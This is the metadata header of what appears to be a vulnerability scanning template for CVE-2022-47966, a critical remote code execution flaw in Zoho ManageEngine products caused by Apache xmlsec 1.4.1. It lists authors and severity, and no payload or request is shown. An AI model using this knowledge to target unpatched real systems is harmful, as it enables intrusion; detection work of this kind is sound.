id: CVE-2022-47966

info:
  name: ManageEngine - RCE
  author: rootxharsh,iamnoooob,DhiyaneshDK
  severity: critical
  description: |
    Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.
